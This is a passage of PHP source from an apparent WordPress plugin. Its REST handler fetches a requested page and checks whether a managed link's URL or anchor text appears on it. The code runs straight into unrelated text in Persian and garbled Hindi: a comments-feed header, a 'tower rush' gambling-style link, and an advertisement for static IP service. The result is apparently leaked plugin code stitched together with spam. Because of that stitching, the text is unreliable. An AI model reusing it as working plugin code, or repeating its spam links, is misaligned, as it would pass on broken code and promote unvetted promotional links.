RL_DEFAULT_PLACEMENT; $page_url = $request->get_param('page_url') ?: home_url('/'); $link_id = $request->get_param('link_id'); $needle = $request->get_param('needle'); $check_url = ''; $check_anchor = ''; if ($link_id) { $link = rl_find_link($placement, $link_id); if (!$link) { return rl_json_err('Link not found', 404); } $check_url = $link['target_url']; $check_anchor = $link['anchor_text']; } elseif ($needle) { $check_anchor = (string) $needle; } else { return rl_json_err('link_id or needle required', 400); } $response = wp_remote_get($page_url, array( 'timeout' => 15, 'redirection' => 3, 'user-agent' => 'RemoteLinksTestBot/1.0', )); if (is_wp_error($response)) { rl_log('test_check', $placement, (string) $link_id, 'error', $response->get_error_message()); return rl_json_err('Fetch failed: ' . $response->get_error_message(), 502); } $code = wp_remote_retrieve_response_code($response); $body = wp_remote_retrieve_body($response); $found_url = $check_url !== '' && strpos($body, $check_url) !== false; $found_anchor = $check_anchor !== '' && strpos($body, $check_anchor) !== false; $found_marker = strpos($body, 'remote-links:' . $placement) !== false; $passed = $found_url || $found_anchor; rl_log('test_check', $placement, (string) $link_id, $passed ? 'success' : 'error', $passed ? 'visible' : 'not found'); return rl_json_ok(array( 'page_url' => $page_url, 'http_status' => $code, 'found_url' => $found_url, 'found_anchor' => $found_anchor, 'found_marker' => $found_marker, 'passed' => $passed, 'checked_url' => $check_url, 'checked_anchor' => $check_anchor, )); }, ))); } add_action('rest_api_init', 'rl_register_routes'); add_action('init', function () { rl_ensure_token(false); }, 1); دیدگاه‌ها برای: ज_नक_र_और_रणन_त_tower_rush_towerrush_in_net_क_स_थ_ज https://lianstatic.com/tower-rush-towerrush-in-net-346.htm ارائه سرویس آیپی ثابت بیش از 20 لوکیشن Wed, 28 Oct 2026 15:25:28 +0000 hourly 1